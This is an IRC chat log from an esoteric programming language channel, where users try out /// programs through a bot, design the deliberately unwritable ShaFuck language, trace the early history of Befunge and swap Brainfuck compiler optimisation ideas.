/*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,1,\\,0\/\/,\\,\/.\//*******/.//.0 01:35:03 01101001100101101001011001101001100101100110100101101001100101101001011001101001011010011001011001101001100101101001011001101001 01:35:19 Anyway. Bye. bsmntbombdood: if you want to ask me something or whatever, do it in /msg so it sticks out tomorrow :P 01:35:45 you mean you don't have a script to show you highlights in a different window? 01:43:34 You need a script? 01:50:28 yes 01:52:27 * coppro boggles 01:54:17 !slashes /*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\//***/.//.0 01:54:18 01001 01:54:23 !slashes /*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\//****/.//.0 01:54:23 01001010 01:59:58 !slashes /*/\/+\\+\/=\\=.\\0-\/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\//****/.//++.0.1 01:59:58 ==01001010-0100101001001 02:01:19 What's the quickest way from 0 to Sha1 sum in C? 02:01:49 !slashes /*/\/+\\+\/=\\=.\\0-\/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/=\\=\/+\\+\//****/.///-/\\\\///0/1//1/\*/++.0.1 02:01:49 1/++01,,==0101001001010010100100101001001 02:01:57 erp 02:02:50 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 02:02:58 -!- puzzlet has joined. 02:03:08 !slashes /*/\/+\\+\/=\\=.\\0-\/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/=\\=\/+\\+\//****/.//++.0.1 02:03:09 ++01-010-01001-01001010-0100101001001 02:04:44 !slashes /*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/+\\+\/=\\=.\\0-\/\/=\\=\/+\\+\//****/.//++ 02:04:45 ++0-01-010-01001- 02:04:57 !slashes /*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/+\\+\/=\\=.\\1-\/\/=\\=\/+\\+\//****/.//++ 02:04:57 ++1-0-01-010- 02:06:05 !slashes /*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/+\\+\/=\\=.\\1-\/\/=\\=\/+\\+\//****/.///+\+///-/\//++ 02:06:18 !slashes /*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/+\\+\/=\\=.\\1-\/\/=\\=\/+\\+\//****/.///+\+///-/\/\//++ 02:06:19 10010 02:06:32 !slashes /*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/+\\+\/=\\=.\\1-\/\/=\\=\/+\\+\//****/.///+\+///-/=/++ 02:06:33 1=0=01=010= 02:06:57 !slashes /*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/+\\+\/=\\=.\\1-\/\/=\\=\/+\\+\//****/.///+\+///-/=/++.1 02:06:58 1=0=01=010=01001 02:07:04 What are you trying to do? 02:07:08 fibonacci 02:07:28 O 02:08:16 !slashes /*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/+\\+\/=\\=.\\1-\/\/=\\=\/+\\+\//****/.///+\+///-/\\\\/++.1 02:08:16 100101001001 02:08:30 !slashes /*/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/+\\+\/=\\=.\\1-\/\/=\\=\/+\\+\//****/.///+\+///-/\\\//++.1 02:08:30 1/0/01/010/01001 02:08:34 ah 02:09:25 !slashes /!/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/+\\+\/=\\=.\\1-\/\/=\\=\/+\\+\//!!!!/.///+\+///-/\\\///0/1//1/*/++.1 02:09:26 */*/**/***/***** 02:09:51 !slashes /!/\/.\\0\/,\\,0,\\,1\/\/.\\1\/,\\,0\/\/,\\,\/.\/\/+\\+\/=\\=.\\1-\/\/=\\=\/+\\+\//!!!!!!!!!!/.///+\+///-/\\\///0/1//1/*/++.1 02:09:51 */*/**/***/*****/********/*************/*********************/**********************************/*******************************************************/***************************************************************************************** 02:10:49 GregorR: huh? 02:13:03 bsmntbombdood: What's the least-overhead SHA-1 library. 02:13:36 (I want to toss one into something I'm writing, without also including MD5, SHA-bleh, MD4, MD-insecure, ...) 02:13:43 copy-paste the code from the SHA submission 02:14:29 Yeah, that's what I ended up doing :P 02:14:31 's lame though :P 02:25:48 -!- bsmntbombdood has quit (Success). 02:26:23 -!- bsmntbombdood has joined. 02:33:46 although we don't know how to do infinite loops in ///, it does seem like it is much easier to do computations involving bounded looping 02:34:29 MAIN B BUS UNDERVOLT 02:36:34 unless there are other obstacles, that should be enough to allow the equivalent of primitive recursion 02:38:30 I'm making a programming language that is literally impossible to program in. 02:39:09 we already have those 02:39:23 astrosteve: 700zm means that a spellbook is either cancellation or 02:39:25 err 02:39:31 stupid c-p 02:39:33 http://dangermouse.net/esoteric/ 02:42:13 -!- WangZeDong has quit (Read error: 60 (Operation timed out)). 02:43:27 -!- Slereah has joined. 02:45:46 You know, I'm not sure that even in real life I could talk the way ehird types. I don't speak in series of phrases; I say entire sentences at once. 02:45:58 Or maybe not. You know how unreliable introspection is. 02:46:21 not at all, _my_ introspection is utterly flawless. 02:49:59 So you're a self-improving artificial intelligence. 02:50:15 * kerlo locks oerjan in a Yudkowsky Box and submerges him under ten feet of seawater. 02:50:35 Hmm, this won't block sound all that well. 02:50:36 *GACK* *SPUTTER* ... 02:51:15 Sorry. I'm not allowed to let you out until this emergency meeting I've called concludes that it's safe to do so. 02:51:36 Everything will be very expeditious; you should be on dry land within 15 minutes if everything goes well. 02:53:14 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 02:53:47 -!- bsmntbombdood has joined. 03:02:27 GregorR, details? 03:02:36 Sgeo: I'm putting it up on the wiki now. 03:02:41 ooh 03:06:31 http://esoteric.voxelperfect.net/wiki/ShaFuck 03:07:02 It's so stupid it's stupid! :P 03:08:08 Anyone want to bruteforce a Hello world? 03:08:22 Actually, some programs might not even be writable in that 03:08:27 Why not? 03:08:35 Is SHA-1 160 bits? 03:08:37 Yes. 03:08:56 Sgeo: Oh, because the SHA-1 sums of 1024 bytes may or may not cover every possibility, right. 03:09:08 Sgeo: I chose such a large number in hopes that it would be "enough" *shrugs* 03:09:38 A lot of sha-1 sums might result in code that would be valid if it were not for comments 03:09:45 Easing the comment restriction might help 03:10:29 Easing the comment restriction would make it trivial. 03:10:35 You would just have to find eight sequences. 03:14:22 (8/256)^20 ~ 8e-31 03:16:00 oerjan: Yes, that IS an interesting statistic :P 03:16:31 so, something like several million years to find a single legal program with a current CPU? 03:16:40 Probably. 03:16:44 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 03:17:21 -!- bsmntbombdood has joined. 03:17:47 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 03:18:22 -!- bsmntbombdood has joined. 03:19:58 -!- bsmntbombdood has quit (Read error: 104 (Connection reset by peer)). 03:20:32 -!- bsmntbombdood has joined. 03:28:47 Would it be easier if I interpreted every 3 bits as a BF operation? That way everything would hash to valid BF, and it would be a problem of finding isomorphic BF ... which is probably still totally impossible :P 03:31:21 what are we talking about? 03:31:41 http://esoteric.voxelperfect.net/wiki/ShaFuck 03:32:12 at least it should then be possible to find actually syntactically correct programs 03:33:00 oerjan: Well, then it would be /im/possible to find /non/-syntactically-correct programs :P 03:33:13 you still have to match [] 03:33:24 Touché 03:33:30 hmmmm 03:33:42 i don't think it's _that_ difficult to write in 03:33:55 Poor, deluded bsmntbombdood :P 03:34:12 bsmntbombdood: as currently written, the main problem is the comment prohibition 03:34:25 oerjan: there are still other ways of nopping 03:34:39 um no 03:34:57 There are other ways of nopping, but even they would be nearly impossible to find. 03:35:16 the problem is it takes millions of years to find a program whose SHA-1 contains only bf commands 03:35:35 Only (8/256)^20 sequences are valid /at all/. Even finding one that's valid would take millenia. 03:35:48 Like he said :P 03:35:51 if you use the ascii-encoded brainfuck, sure 03:36:08 thus the new 3 bit suggestion 03:36:28 Which would still be nigh-on impossible, because those nopping isomorphisms are still pretty darn rare :P 03:36:58 i have a feeling you will be able to get it down to ~60 bits of complexity per block 03:37:10 bsmntbombdood: Feel free :P 03:37:25 so you will be able to produce shafuck at a rate of like 1 instruction per week 03:37:34 i think any program which contains [] has a hard time being a nop 03:38:58 now 20 bytes = 160 bits, which isn't divisible by 3 03:39:39 but discarding one bit, 53 commands 03:39:59 Right, yes, discarding the last bit. 03:40:11 Mind you, I didn't agree to that, I'm just presenting it as a thought experiment :P 03:40:43 (6/8)^53 ~ 2.4e-7, so it's not that hard to find something not containing [] 03:40:58 GregorR: it would probably be more interesting to use something like md5 or even md4 03:41:13 More interesting as in more possible to write. 03:41:20 yes 03:41:21 But I wasn't aiming for something that could actually be written :P 03:41:33 if you use sha1, your only option is brute force 03:41:45 (That we know of ;) ) 03:41:55 hm you probably want to avoid ., as well, for most building blocks 03:42:21 Definitely. 03:42:37 It's a PITA to make nops out of +-<>, it's almost impossible to make nops out of .,[] 03:42:46 so how many different combinations of 21 +'s and 21 -'s are there? 03:42:49 (Well, it is impossible to make nops out of ,.) 03:42:50 (4/8)^53 ~ 1.1e-16 03:43:17 with +-<> the whole becomes a kind of vector problem 03:43:46 add something to a number of cells, shift some amount 03:44:04 two with opposite shifts can nullify 03:44:40 and then linear algebra to find something which +- only one cell 03:45:00 no need to make it complicated 03:45:02 which should be possible with enough of those 03:45:11 um, this is not making it complicated 03:45:33 oerjan: Actually it is, you can just /run it/ to see what it modifies :P 03:45:49 er i'm not talking about single programs 03:45:57 OH 03:46:08 i'm talking about using linear algebra to combine blocks into something with a simpler effect 03:46:09 I thought you wanted them to be clean /within/ a single chunk. 03:46:10 I see. 03:46:32 grrr 03:46:52 how many combinations of 21 +'s and 21 -'s are there? 03:47:10 Oh, I thought that was rhetorical. 03:47:12 if you don't have <> then those cancel, you know 03:47:50 GregorR: no, given that you have an easy upper bound for complexity 03:48:05 42 over 21, or 42!/(21!*21!) iirc 03:48:07 Something like 21! I'd guess, but I don't know. 03:48:16 Apparently oerjan knows :P 03:48:30 oerjan: Uh, 42/21 is 2 :P 03:48:32 what's the log_2 of that? 03:48:37 ! is factorial 03:49:00 over is not division, but binomial coefficient 03:49:07 Ah 03:49:28 ok, 38.9 03:51:05 160 - log((2 * 42!/(21!*21!))) = 120 bits 03:51:27 + 3 bits for the instruction 03:51:39 and given control over +-<>, you can probably find a program that contains only those plus a single .,[ or ] 03:52:23 so i think this might be doable 03:56:04 (4^52 * 53)/(8^53) ~ 1.47e-15, so that is somehow slightly easier than a pure +-<> program - this cannot be right 03:57:56 oh, maybe it is 03:59:37 I think the long story short is "you're screwed" 03:59:45 hm? 04:01:03 well that is a bit of programs to search for 04:03:31 That's 680,272,108,843,537 sequences. 04:04:08 That's only 7 days at 1 BILLION sequences per second :P 04:04:35 At a more reasonable 1 million sequences per second, that's 22 years. 04:04:37 that's only 50 bits 04:04:46 that's easy sauce with dedicated hardware 04:05:04 AND you only have to do it 8 times, and you can then just compose blocks 04:05:46 i'm not sure about that 8 times 04:06:01 GregorR: you need to add some sort of chaining of blocks to prevent that 04:06:31 bsmntbombdood: Note that this concept is only pseudotractable IF I make it use 3-bit operations, which I'm not going to. 04:06:32 ouch 04:06:39 bsmntbombdood: With 8-bit operations, it's not even remotely tractable. 04:06:45 agreed 04:07:01 but it's kinda dumb not to allow comments 04:07:15 If I did allow comments, it would be trivial! The whole idea is for it to be IMPOSSIBLE :P 04:07:20 yeah 04:07:32 alas, if you allow comments it becomes trivial yeah 04:08:35 (248^19 * 20)/(256^20) ~ 0.042 04:08:48 it's stupid to make it completely impossible 04:08:52 that's to search for something equivalent to a single command 04:09:02 much more interesting just to require an immense, but practical computational load to write 04:09:39 bsmntbombdood: And you think that the 3-bit variety is immense but practical? 04:09:50 now if you used 3 bits plus chaining, it might become just about right? 04:09:58 "Chaining"? 04:10:19 bsmntbombdood's word 04:10:23 GregorR: so the same block has a different meaning depending on where you put it 04:10:37 i assume it means so that you cannot append found blocks easily 04:10:54 And I would do that by ...? 04:11:16 if you have a block that hashes to '+nopnopnopnop...', '-nopnopnopp...' etc, you can just put them together without any work 04:11:45 bsmntbombdood: Yeah, but I still find it EXTREMELY unlikely that you'll ever find those :P 04:12:07 you can't find such a block 04:12:12 every nop in BF takes two operations 04:12:41 coppro: We've already been over that, they're claiming it's (just barely) tractable, I'm not convinced. 04:13:11 the ascii version isn't 04:13:23 (Right, yes, the 3-bit version) 04:13:41 well, actually, you could get an odd-numbered nop, but it will erase some part of the memory 04:13:55 How about this: The hash of each 1024-byte block is taken to be the hash of everything in the file up to and including that block? 04:14:18 yeah, something like that 04:14:19 that's more fun 04:14:44 If I made it 4-bit, with the fourth bit allowing comments, that would be waaaaaaaaaay too easy, right? 04:15:20 do that and only use 60 or so bits of the hash, and you have system that trivial to interpret but very hard (but still possible) to write 04:15:23 kind of like hash cash 04:16:16 Bleh, the whole joy was that it was just plain impossible to write X-P 04:16:18 Joy for me X-P 04:17:10 maybe if the fourth bit _disallowed_ comments instead? 04:17:30 it's not interesting if it's impossible 04:17:47 Well, I'm going to sleep one way or another. 04:17:49 SO TAKE THAT 04:24:23 -!- Slereah has quit (Read error: 60 (Operation timed out)). 04:25:10 -!- Slereah has joined. 04:44:07 -!- Gracenotes has quit (Remote closed the connection). 04:44:27 -!- puzzlet has quit (Remote closed the connection). 04:44:34 -!- puzzlet has joined. 04:49:32 -!- Gracenotes has joined. 05:29:57 -!- oerjan has quit ("leaving"). 06:05:08 So, about that sonic computer. 06:05:28 A computer that uses Sonic for computation? 06:05:32 Spiffy. 06:05:42 g'night... time to think up a new precedence system for Agora 06:05:56 coppro: No precedence. 06:05:59 NONE! 06:06:10 No, a computer that uses sound for computation. 06:06:13 Everyone's a winner! 06:06:13 (I'm not sure what the game state would devolve to after that) 06:06:27 lots and lots of Paradox wins, I expect 06:06:59 Oh, I'd get Canada to win by paradox somehow. 06:07:12 :) 06:07:18 Am I a member of Canada's basis? 06:07:36 Are you Canadian? 06:07:39 yes 06:07:50 * coppro looks up the Wikipedia article on phonons... time to boggle 06:07:50 Then yes, you are. 06:08:03 Moot point unless you can get Canada to join Agora, though. 06:08:09 * kerlo ponders /// code to escape stuff 06:08:29 Replace / and \ with a and b, replace a and b with \/ and \\. 06:08:51 I guess you'll want to have guards as well. 06:10:03 !slashes /#\//a//#\\/b//a/\///b/\\//#//it's #/#/#\#\ 06:10:04 it's 06:10:14 * kerlo applauds 06:10:20 pikhq: it's not required to be a player to win 06:10:30 though getting Canada to be a person would be tough 06:10:48 !slashes /#\//a/d/#\\/b/d/a/\//d/b/\\/d/#//it's #/#/#\#\ 06:10:49 ddddit's 06:10:55 Actually, we could probably get the definition of "player" changed. 06:11:01 Person, though? 06:11:16 It's already a non-first-class person, right? 06:12:47 !slashes /##\//a/d/##\\/b/d/a/\//d/b/\\/d/#//it's ##/##/##\##\ 06:12:47 ddddit's 06:12:56 Grr. 06:16:00 !slashes /##\//a/d/##\\/b/d/a/\//d/b/\\/d/#//it's ##/##/##\##\ abba 06:31:08 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 06:42:05 -!- Gracenotes has quit (Remote closed the connection). 06:43:35 -!- Gracenotes has joined. 07:01:43 -!- puzzlet has joined. 07:38:14 ohnoslashes 07:40:18 Sonic computers reminded me of http://en.wikipedia.org/wiki/Delay_line_memory#Acoustic_delay_lines which are an awesome idea... I mean, just compare http://en.wikipedia.org/wiki/File:Mercury_memory.jpg with a boring DIMM memory chip. 07:43:49 i just got back from Star Trek 07:49:33 -!- WangZeDong has joined. 07:51:49 -!- Slereah has quit (Read error: 110 (Connection timed out)). 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:06:55 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 08:33:04 -!- jix has joined. 08:46:34 -!- puzzlet has quit (Read error: 60 (Operation timed out)). 08:48:43 -!- puzzlet has joined. 08:59:30 -!- coppro has quit (Remote closed the connection). 09:06:34 -!- Slereah has joined. 09:18:40 -!- WangZeDong has quit (Read error: 110 (Connection timed out)). 09:29:48 http://arxiv.org/abs/0905.0740 09:56:53 http://james-iry.blogspot.com/2009/05/brief-incomplete-and-mostly-wrong.html 10:04:22 -!- M0ny has joined. 10:06:03 hey 10:07:09 Hello mona 10:08:20 spèce de scélérat 10:08:39 Deewiant: rotfl 10:08:47 Toi-même 10:08:58 c'est pas vrai ! 10:38:13 -!- psygnisfive has quit (Remote closed the connection). 10:39:35 -!- psygnisfive has joined. 10:43:53 i just got back from Star Trek 10:43:59 yes. 10:44:02 psygnisfive: And is it as godawful as the commercials make it out to be? 10:44:06 no 10:44:10 it was wonderful 10:44:12 in some respects 10:44:15 I figured it couldn't be that bad. 10:44:19 the plot was thin 10:44:26 and it takes place in an alternate universe 10:44:34 Whaaaaaaaaaaaaaaaaaa 10:44:36 yes 10:44:38 but that aside 10:44:47 the vision of the star trek universe is quite nice 10:50:36 -!- impomatic has joined. 10:50:44 Hi :-) 10:50:57 Anyone know which was the first 2D programming language? 10:51:17 befunge i suppose 10:51:18 I think it was Befunge 10:52:08 Thanks 10:56:11 Strange that Befunge wasn't mentioned on usenet until 1996 10:57:06 There was an eso mailing list 10:57:17 Which probably saw most of the discussion 10:57:35 Heh. Mailing lists. 10:58:03 it was invented in 1996 10:58:17 "Later the Befunge Mailing List evolved into the Esoteric Topics Mailing List, and the word began to be used to describe this kind of language. " 10:58:30 -- http://esolangs.org/wiki/Esoteric_programming_language 10:59:54 http://esoteric.sange.fi/archive/ goes only as far back as 2001 11:01:08 http://sourceforge.net/mailarchive/forum.php?forum_name=funge-list has a tiny amount of stuff 11:01:17 Now reading about Biota from 1991 11:01:56 I just wanted to check if Corelife (April 1993) was predated by any other 2D languages. 11:02:05 Like the wiki puts it: "Befunge was preceded in 1991 by a similar but less featureful language Biota, which was designed for experiments in self-reproduction. It was followed soon after, in 1994, by another similar language, Orthagonal, the design of which was spurred by a discussion on alt.folklore.computers." 11:02:56 So it was predated by Biota and possibly Befunge, depending on the month Befunge was released. 11:03:33 "Original document September, 1993" says the Befunge-93 spec in Catseye. 11:05:37 Well, that's pretty recent then 11:05:38 http://esolangs.org/wiki/User_talk:Calamari has a broken link to a partial archive of the befunge mailing list 11:05:45 Because this september is still going on 11:05:50 *rimshot* 11:05:50 But that's all I can find 11:06:40 esolangs archives should be on the web. 11:07:31 Thanks :-) 11:08:09 So I guess Corelife was the second 2D programming language :-) 11:08:14 There's the forum, of course, but that's recent: http://esoteric.voxelperfect.net/forum/subback.html 11:08:42 Deewiant: The broken link is (was?) a pkzipfixed former broken zip; it was talked here on http://tunes.org/~nef//logs/esoteric/05.11.17 -- I guess it's gone dead again. 11:08:49 People use that forum? 11:08:53 fizzie: Yes, that's how I found it. 11:09:15 well, i can upload those maillist archives, if somebody need them. 11:09:17 I guess we can poke calamari about it if he shows up. 11:09:38 mtve: What do you have? 11:09:59 well, i was a subscriber since almost the begining :) 11:10:22 Then please do :-) 11:10:34 ok, noted, will do it in a few days. 11:10:52 I'd rather have it on more machines than just yours, it'd be a shame to lose them to a drive crash or something ;-) 11:12:08 yep, a bitrot becomes a real problem. i can't find many interesting things on the web which were there, i'm sure. 11:12:31 Heh, http://esoteric.sange.fi/archive/current is a collection of spam. :p 11:12:52 Actually hmm, I've got some FBBI patches which are older than the stuff on sange.fi, I wonder where I got them from 11:12:55 Lots of offers for millions of dollars. 11:13:36 Scratch that, they were from 2003, not the 2000 I thought. 11:13:42 most of interesting things are already on the wiki, but archives do have their value. 11:14:15 Archives give you a linear view of history, wikis give you a flat view of the current state. 11:14:34 I hate bitrot :-( 11:14:40 fizzie: Looks like both 2006 and 2007 are also all spam. 11:14:52 WTF COMMERCIAL!! Why is there a commercial for Emerald Nuts that implies a grizzly death of the three main characters shortly after the commercial ends >_< 11:15:23 I've been archiving stuff I find interesting so it isn't lost forever. 11:20:19 http://www.esolangs.org/wiki/ShaFuck 12:03:05 -!- MizardX has quit ("Proclamation of invalidity!"). 12:09:36 Aw, mooz's Befunge pages are gone 12:11:59 Are they in the web archive? 12:12:05 Yes 12:12:15 But no pics/downloads, of course 12:13:06 Hmmm... some pages have pics / zips archived too. 12:14:07 mtve: Exactly how slow is http://frox25.no-ip.org/~mtve/code/eso/bef/chess/ supposed to be? (Or, what interpreter can run it) 12:14:37 pretty fast, any sane interpreter should run it well. 12:15:01 less then a second to response afair 12:15:09 CCBI and FBBI are both going at 45 minutes on the first move, tkbf93 segfaulted :-P 12:15:19 I don't have other -93 interpreters. 12:15:38 I think I asked mooz about that stuff, and he said he has an archive in some non-public place. 12:15:42 eh, maybe i forgot something :) i have my own interpreter somewhere near to that 12:16:15 Ah, so you do 12:16:34 actually a link from that page 12:16:49 Okay, the C one offers fast response 12:16:53 Let's see how it breaks the standard ;-) 12:17:05 -!- MizardX has joined. 12:17:13 i was trying to write it as strict as possible afair 12:18:02 Welp, Mycology likes it 12:18:24 Wonder what's going on... will have to look into this at some point 12:18:29 -!- Judofyr has joined. 12:34:32 -!- pikhq has quit (Read error: 104 (Connection reset by peer)). 12:34:52 ehird: http://www.phoronix.com/scan.php?page=article&item=amd_r600_700_guide, usable 3D for ATIs "should be just a matter of weeks" 13:12:44 -!- oklopol has joined. 13:12:58 okokokokokokokokokokokokokokokokokokokoko 13:13:01 okokokokokokokokokokoko 13:13:06 okokokokokokokokokokokokokokkokokokokokokokokokokokoko 13:13:12 okokokokokokokokokokokokokokokokokoko 13:13:16 oh 13:13:18 i have failed 13:13:33 insert harakiri 13:14:10 -!- MizardX- has joined. 13:16:13 Koko kokko. 13:16:29 -!- MizardX has quit (Nick collision from services.). 13:16:31 -!- MizardX- has changed nick to MizardX. 13:19:29 koko kokkoko? 13:19:49 kokki kokkaa kakkaa 13:20:16 Kokoo kokko kokoon. 13:20:29 I guess we did the kokko-thing here already, though. 13:20:39 i guess we somewhat did. 13:21:25 ^cho koko kokko 13:21:25 koko kokkooko kokkoko kokkoo kokko kokkokokkookkokkokoo 13:21:38 ^help 13:21:38 ^ ; ^def ; ^show [command]; lang=bf/ul, code=text/str:N; ^str 0-9 get/set/add [text]; ^style [style]; ^bool 13:21:41 ^show cho 13:21:42 >,[>,]<[<]>[[.>]<[<]>[-]>] 13:22:09 ^choo koko kokko 13:22:10 koko kokko oko kokko ko kokko o kokko kokko kokko okko kko ko o 13:22:18 There were those two functions of dubious usefulness. 13:22:21 ^show choo 13:22:21 >,[>,]+32[<]>[[.>]<[<]>[-]>] 13:22:40 That's pretty much the same except with a space added between repetitions. 13:22:48 using syntax elements from both C++ and Haskell feels a bit weird. 13:23:21 i just love how C++ uses << and >> for streams 13:23:26 i guess not strictly syntax thing 13:23:36 Bitshift the output stream, yes. 13:25:17 well true, i guess "hello world" >> cout would be more logical, because right argument tells how much ~ where to shift 13:25:37 (how much) ~ (where), that is 13:26:38 but cin >> variable makes sense at least 13:26:58 anyway strongly typed operators are a pretty stupid idea anyway 13:27:03 anywaywayawyw 13:27:17 I don't suppose the streams overload <<= and >>= with something fancy? 13:27:32 like what? 13:27:43 i doubt it, not that i've checked 13:28:01 well 13:28:11 actually << and >> already have those semantics 13:28:21 so they could just be the same thing 13:29:11 Yes. I don't think they are, though. 13:30:29 i'm not sure why they would be 13:32:07 !cho ososo 13:32:11 ^cho ososo 13:32:12 ososososoososoo 13:32:15 ^choo ososo 13:32:16 ososo soso oso so o 13:32:57 ^choo ososo soso oso so o 13:32:57 ososo soso oso so o soso soso oso so o oso soso oso so o so soso oso so o o soso oso so o soso oso so o soso oso so o oso oso so o so oso so o o oso so o oso so o oso so o so so o o so o so o so o o o o ... 13:33:02 Meaningful! 13:37:00 if there was a reverse choo, you could say "o so", and your "meaningful" would be meaningful 13:37:47 ^cho >,[>,]<[<]>[[.>]<[<]>[-]>] 13:37:47 >,[>,]<[<]>[[.>]<[<]>[-]>],[>,]<[<]>[[.>]<[<]>[-]>][>,]<[<]>[[.>]<[<]>[-]>]>,]<[<]>[[.>]<[<]>[-]>],]<[<]>[[.>]<[<]>[-]>]]<[<]>[[.>]<[<]>[-]>]<[<]>[[.>]<[<]>[-]>][<]>[[.>]<[<]>[-]>]<]>[[.>]<[<]>[-]>]]>[[.>]<[ ... 13:38:45 Deewiant: what does that do 13:38:55 Which 13:39:00 the program 13:39:05 Which program 13:39:11 *the* progarm 13:39:12 I don't know about fungot's one 13:39:12 *program 13:39:13 Deewiant: meet is simple enough.) indent all of the tail of the list. :p 13:39:27 The one I gave to ^cho is cho's source 13:39:39 What came out; who knows 13:39:51 It indents all of the tail of the list, I guess. 13:39:51 i know it's cho's source, i just saw it 13:39:57 I'm sure fungot knows what it's speaking of. 13:39:58 fizzie: on dit fnord, en kerro miten, mutta liittyy fnord ja fnord ilman siihen fnord fnord fnord" 13:40:07 D: 13:40:14 fungot: Stop with the Finnish gibberish. 13:40:14 fizzie: nice job on ooe on c.l.s. btw this is called " robotron" 13:40:16 ^style 13:40:16 Available: agora alice darwin discworld europarl ff7 fisher ic irc* jargon lovecraft nethack pa speeches ss wp 13:40:40 That's from #douglasadams@ircnet; we have occasionally lapsed into Finnish there. 13:41:38 suomi fnord fnord kieli 13:41:50 fungot: fnord fnord 13:41:51 Deewiant: but i don't really know enough about s48's internals to see where i can 13:42:15 To fnord a fnord you need intimate knowledge of s48's internals. 13:43:01 fungot: How is fnord formed 13:43:01 Deewiant: i'll go going to work on srfi 44 seems too complicated for too little gain. 13:43:18 fungot: How fnord get fnord 13:43:19 Deewiant: pretty much. although regular continuations don't do fnord? ( although i find sdl a bit distasteful. but not enough to actually volunteer to write it 13:43:30 I really should make it take the trailing parts of the comment it's replying to as a context, but that would mean I'd have to map back from strings to tokens in a reasonable time. 13:52:06 -!- tombom has joined. 13:55:24 -!- jix has quit ("bye"). 13:58:06 -!- impomatic has left (?). 14:33:25 -!- jix has joined. 14:35:36 -!- okloduk has joined. 14:48:46 ^show cho 14:48:47 >,[>,]<[<]>[[.>]<[<]>[-]>] 14:48:55 ^show choo 14:48:55 >,[>,]+32[<]>[[.>]<[<]>[-]>] 14:49:32 fizzie, you don't turn [-] into set 0? 14:49:34 mhm 14:50:20 lifthrasiir, I think esotope-bfc needs a plugin architecture! ;P 14:50:38 that way you could easily write new optimisations, possibly in some DSL. 14:50:47 hm maybe pattern based... 14:51:23 No. I only run-length-encode consecutive <>+- (and there's that bug). I don't have a "set" instruction in the bytecode, either, although I guess I could easily have one. Should probably fix at least the bug. 14:51:38 yeah 14:52:12 fizzie, I'm not saying you should implement esotope-bfc in befunge. Just that [-] is so common and easy to do 14:52:29 possibly [-]+ into set 1 and such 14:52:59 * AnMaster thinks he should write a semi-optimising one in scheme. Just doing the basic stuff. 14:53:19 lifthrasiir, why the name "esotope"? 14:55:00 lifthrasiir, by the way, I have some other ideas: What if some code snippet is reused a lot. Maybe add an "size optimising" option that tries to "factor out" common code into separate functions 14:55:18 if the code snippet is long enough that is 14:55:39 -!- dbc has quit (wolfe.freenode.net irc.freenode.net). 14:55:50 this also opens the questions of intrinsics in an extended mode of course. But maybe that is a bad idea... 14:56:15 -!- oklopol has quit (Read error: 110 (Connection timed out)). 14:56:23 -!- bsmntbombdood has quit (Connection reset by peer). 14:57:02 -!- bsmntbombdood has joined. 15:03:31 -!- tombom has quit. 15:03:55 -!- okloduk has quit (Read error: 113 (No route to host)). 15:10:32 -!- dbc has joined. 15:15:43 fizzie, what do you think about a DSL like this for an optimising bf compiler: 15:15:45 match: { loop: { '-', move : (store myvar count), '+', move: (is_equal? -myvar count) } } replace: { set: { offset: (var myvar), value: {get_cell 0}}, set: { offset: 0, value: 0}} 15:16:00 to match [->>>+<<<] into a "move and set old to 0" 15:16:13 s/into/and change into/ 15:16:33 it needs some work 15:16:59 (like: the syntax there is a horrible mix of python dicts and scheme) 15:19:35 AnMaster: Thanks to mtve, some old messages from the Befunge mailing list, includes info on -96 and -97: http://frox25.no-ip.org/~mtve/tmp/bef_maillist_0_520.txt 15:20:23 ooh 15:20:25 tmp 15:20:26 hm 15:20:28 * AnMaster saves 15:20:44 I asked him about it and he said it saves stuff forever :-P 15:20:53 But more copies is always a good thing :-) 15:21:24 Deewiant, does it contain 97 versikn? 15:21:27 version* 15:21:59 AnMaster: It has messages from -96 and -97 where they discuss Befunge. 15:22:03 ok 15:22:05 And the -96 and -97 standards. 15:22:10 the specs are in there? 15:22:19 Probably not since the last message is from June. 15:22:22 ah... 15:22:26 I don't even know if -97 ever had a finalized spec. 15:22:49 But that also has stuff on BeGlad and the like, which is interesting. 15:22:50 "I also got most of Visual Befunge for Windows actually working." 15:22:51 wow 15:22:53 just wow 15:22:56 impomatic might be interested in that stuff, too. 15:23:05 Deewiant, um why? 15:23:11 did he implement some interpreter? 15:23:19 No, but it's similar to Core Wars. 15:23:22 oh ok 15:23:29 I think, at least. 15:23:34 I haven't read any of that yet. 15:23:35 Deewiant, does it explain the team id thing? 15:23:48 That was the first thing I grepped for, actually :-) 15:23:50 And no, it doesn't 15:23:53 ouch 15:23:59 Maybe it does, just not under that name 15:24:03 Like said, I haven't read any of it. 15:24:42 Chronefunge: Subject-singularity Time-Travel Befunge! 15:24:48 Chris Pressey's idea, originally. 15:24:57 "PS. Competition: smallest self-listing prog (but not f****n' emptiness)" 15:24:58 :D 15:25:11 Looks very similar to TRDS. 15:25:46 ooooh 15:25:53 sine in befunge-93? 96? 15:25:59 Sine? 15:26:17 Oh, an impl of it 15:26:19 